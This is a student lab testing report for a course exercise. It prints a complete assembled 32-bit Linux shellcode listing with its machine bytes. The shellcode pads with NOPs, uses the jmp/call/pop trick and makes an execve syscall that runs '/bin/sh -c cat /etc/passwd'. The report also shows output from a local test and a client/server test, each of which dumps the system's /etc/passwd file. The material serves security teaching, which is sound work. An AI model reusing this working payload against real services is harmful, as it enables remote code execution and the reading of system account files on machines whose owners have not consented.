ELEC 377 Lab 5: Testing Document

Name & Student ID: Shiyan Boxer (20106887) and Arsh Kochhar (20104779)
Date: Dec 7th, 2020

Once the code was complete, the ‘make’ command was executed in order to compile and run the files. Once everything was compiled, the ‘’exploit.nasm’ file was executed using the command below:

nasm -l *file.lst* -f bin *file.nasm*

Once we ran this command, we used the redirection operator to store the output into a text file as you may see on our Gitlab and below.

exploit.lst

```
1                                   bits 32
2                                   ; 2 NOP instructions - this makes it so that the assembly exploit is  100 bytes
3                                   ; here we align it with the function pointer
4 00000000 90                       nop
5 00000001 90                       nop
6                                   ;we needed 100 * characters to segmentation fault
7
8 00000002 EB29                     start: jmp short codeEnd
9 00000004 5E                       start2: pop esi
10
11                                  ; clear the A register
12 00000005 31C0                    xor eax, eax
13
14                                  ; restore null bytes in data
15 00000007 884607                  mov [byte esi+flagStr-exeStr-2], al ; subtract 2 in order to point to X char instead of y char - moving null byte to end of b
16 0000000A 88460B                  mov [byte esi+cmdStr-exeStr-1], al ; moving the null byte to the end of -c
17 0000000D 884620                  mov [byte esi+arrayAddr-exeStr-1], al ; moving the null byte to the end of the shell command
18 00000010 89462D                  mov [byte esi+arrayAddr-exeStr+12], eax ; moving to the end of the array
19
20
21 00000013 897621                  mov [byte esi+arrayAddr-exeStr], esi ; The address of exeStr is in esi
22
23
24                                  ; fetch address of flagStr
25 00000016 8D7E09                  lea edi, [byte esi+flagStr-exeStr]
26 00000019 897E25                  mov [byte esi+arrayAddr-exeStr+4], edi
27
28                                  ; retrieve address of cmdStr
29 0000001C 8D7E0C                  lea edi, [byte esi+cmdStr-exeStr]
30 0000001F 897E29                  mov [byte esi+arrayAddr-exeStr+8], edi
31
32                                  ; setup registers and make system call.
33 00000022 B00B                    mov al, 0x0b
34 00000024 89F3                    mov ebx, esi ; use runtime address of exeStr
35 00000026 8D4E21                  lea ecx, [byte esi+arrayAddr-exeStr] ; use runtime address of array address
36 00000029 31D2                    xor edx, edx ; set edx to 0
37 0000002B CD80                    int 0x80
38 0000002D E8D2FFFFFF              codeEnd: call start2
39
40                                  ; data
41 00000032 2F62696E2F73685879      exeStr: db "/bin/shXy"
42 0000003B 2D6358                  flagStr: db "-cX"
43 0000003E 636174202F6574632F-     cmdStr: db "cat /etc/passwd;exitX"
44 00000047 70617373776436578-
45 00000050 697458
46
47                                  arrayAddr:
48 00000053 FFFFFFFF                dd 0xffffffff
49 00000057 FFFFFFFF                dd 0xffffffff
50 0000005B FFFFFFFF                dd 0xffffffff
51 0000005F FFFFFFFF                dd 0xffffffff
52 00000063 61000000                newAddr: dd newAddr-start
```

Testing the selfcomp retrieving the /etc/passwd file

Below is the text output file for the selfcomp test. In order to run this file, after executing the nasm file, we used the '**./selfcomp'** command to retrieve an output, this was then stored into a file as you may see on our gitlab and the screenshot below.

selfcompOut.txt

root:x:0:0::/root:/bin/bash
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:
adm:x:3:4:adm:/var/log:
lp:x:4:7:lp:/var/spool/lpd:
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt

mail:x:8:12:mail:/:
news:x:9:13:news:/usr/lib/news:
uucp:x:10:14:uucp:/var/spool/uucppublic:
operator:x:11:0:operator:/root:/bin/bash
games:x:12:100:games:/usr/games:
ftp:x:14:50::/home/ftp:
smmsp:x:25:25:smmsp:/var/spool/clientmqueue:
mysql:x:27:27:MySQL:/var/lib/mysql:/bin/bash
rpc:x:32:32:RPC portmap user:/:/bin/false
sshd:x:33:33:sshd:/:
gdm:x:42:42:GDM:/var/state/gdm:/bin/bash
pop:x:90:90:POP:/:
nobody:x:99:99:nobody:/:
student:x:1000:100:student,,,:/home/student:/bin/bash

Testing the client retrieving the /etc/passwd file

Below is the text output file for the client test. When running the test for the client file, we opened up two terminals in linux and ran the command ‘server 10000’ where 10000 denotes the port number. After which, we opened a second terminal and did the same thing but for client instead -> ‘client 10000’, this allowed us to retrieve the following output that can also be found on our gitlab.

clientOut.txt

root:x:0:0::/root:/bin/bash
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:
adm:x:3:4:adm:/var/log:
lp:x:4:7:lp:/var/spool/lpd:
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/:
news:x:9:13:news:/usr/lib/news:
uucp:x:10:14:uucp:/var/spool/uucppublic:
operator:x:11:0:operator:/root:/bin/bash
games:x:12:100:games:/usr/games:
ftp:x:14:50::/home/ftp:
smmsp:x:25:25:smmsp:/var/spool/clientmqueue:
mysql:x:27:27:MySQL:/var/lib/mysql:/bin/bash
rpc:x:32:32:RPC portmap user:/:/bin/false
sshd:x:33:33:sshd:/:
gdm:x:42:42:GDM:/var/state/gdm:/bin/bash
pop:x:90:90:POP:/:
nobody:x:99:99:nobody:/:
student:x:1000:100:student,,,:/home/student:/bin/bash